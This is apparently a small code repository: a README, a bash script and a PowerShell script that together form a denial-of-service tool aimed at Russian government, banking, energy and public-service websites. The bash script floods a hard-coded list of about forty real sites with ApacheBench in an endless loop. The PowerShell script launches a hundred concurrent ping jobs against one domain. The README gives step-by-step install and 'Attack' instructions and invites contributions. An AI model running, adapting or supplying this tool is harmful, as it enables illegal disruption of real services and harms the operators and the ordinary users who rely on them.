├── ddos_powershell.ps1 ├── README.md └── ddos.sh /ddos_powershell.ps1: -------------------------------------------------------------------------------- 1 | $numberOfPings = 0; 2 | $maxNumberOfPings = 1000; 3 | $maxConcurrentPings = 100; 4 | $nameOfPingJob = 'dos_attack'; 5 | $attackVictim = 'nspk.com'; 6 | 7 | while($numberOfPings -lt $maxNumberOfPings) 8 | { 9 | $jobsCount = (Get-Job | where { $_.Name -eq $nameOfPingJob -and $_.State -eq 'Running' }).Count 10 | 11 | if($jobsCount -lt $maxConcurrentPings) 12 | { 13 | Start-Job -ScriptBlock { ping $args[0] } -ArgumentList $attackVictim -Name $nameOfPingJob | Out-Null 14 | 15 | $numberOfPings = $numberOfPings + 1 16 | 17 | echo "Started no. $($numberOfPings) job" 18 | } 19 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # russian-warship-fuck-yourself 🇺🇦 2 | 3 | Simple DDos attack targeted at Russian Federation due to invasion of Ukraine. 4 | 5 | 6 | ## Installation 7 | Ubuntu/Debian 8 | ``` 9 | sudo apt-get install apache2-utils 10 | ``` 11 | 12 | Redhat/Centos/Fedora 13 | ``` 14 | sudo dnf install httpd-tools 15 | ``` 16 | 17 | Install the repo and change directory to it 18 | ``` 19 | git clone git@github.com:zzart/russian-warship-fuck-yourself.git 20 | cd russian-warship-fuck-yourself 21 | ``` 22 | 23 | Make it executable 24 | ``` 25 | chmod 777 ddos.sh 26 | ``` 27 | 28 | Attack 29 | ``` 30 | ./ddos.sh 31 | ``` 32 | 33 | Together we are stronger! 34 | 35 | 36 | PRs are welcomed. 37 | 38 | -------------------------------------------------------------------------------- /ddos.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Install apache2-utils 4 | # apt-get install apache2-utils 5 | # or 6 | # dnf install httpd-tools 7 | 8 | # Edit the list of sites according to your liking ;) 9 | # URLs targeted from https://t.me/s/itarmyofukraine2022 10 | 11 | sites=( 12 | https://www.gazprom.ru/ 13 | https://lukoil.ru/ 14 | https://magnit.ru/ 15 | https://www.nornickel.com/ 16 | https://www.surgutneftegas.ru/ 17 | https://www.tatneft.ru/ 18 | https://www.evraz.com/ru/ 19 | https://nlmk.com/ 20 | https://www.sibur.ru/ 21 | https://www.severstal.com/ 22 | https://www.metalloinvest.com/ 23 | https://nangs.org/ 24 | https://rmk-group.ru/ru/ 25 | https://www.tmk-group.ru/ 26 | https://ya.ru/ 27 | https://www.polymetalinternational.com/ru/ 28 | https://www.uralkali.com/ru/ 29 | https://www.eurosib.ru/ 30 | https://omk.ru/ 31 | https://www.sberbank.ru/ 32 | https://www.vtb.ru/ 33 | https://www.gazprombank.ru/ 34 | https://www.gosuslugi.ru/ 35 | https://www.mos.ru/uslugi/ 36 | http://kremlin.ru/ 37 | http://government.ru/ 38 | https://mil.ru/ 39 | https://www.nalog.gov.ru/ 40 | https://customs.gov.ru/ 41 | https://pfr.gov.ru/ 42 | https://rkn.gov.ru/ 43 | https://mail.rkn.gov.ru/ 44 | https://cloud.rkn.gov.ru/ 45 | https://mvd.gov.ru/ 46 | https://pwd.wto.economy.gov.ru/ 47 | https://stroi.gov.ru/ 48 | https://proverki.gov.ru/ 49 | https://www.gazprom.ru/ 50 | https://privetmir.ru/ 51 | https://mironline.ru/ 52 | https://sbp.nspk.ru/ 53 | https://nspk.ru/ 54 | https://nspk.com/ 55 | ) 56 | 57 | 58 | while true 59 | do 60 | for site in "${sites[@]}" 61 | do 62 | if [[ "${site}" != "${sites[-1]}" ]]; then 63 | ab -k -c 100 -n 100 "${site}" & 64 | else 65 | ab -k -c 100 -n 100 "${site}" 66 | fi 67 | done 68 | done 69 | --------------------------------------------------------------------------------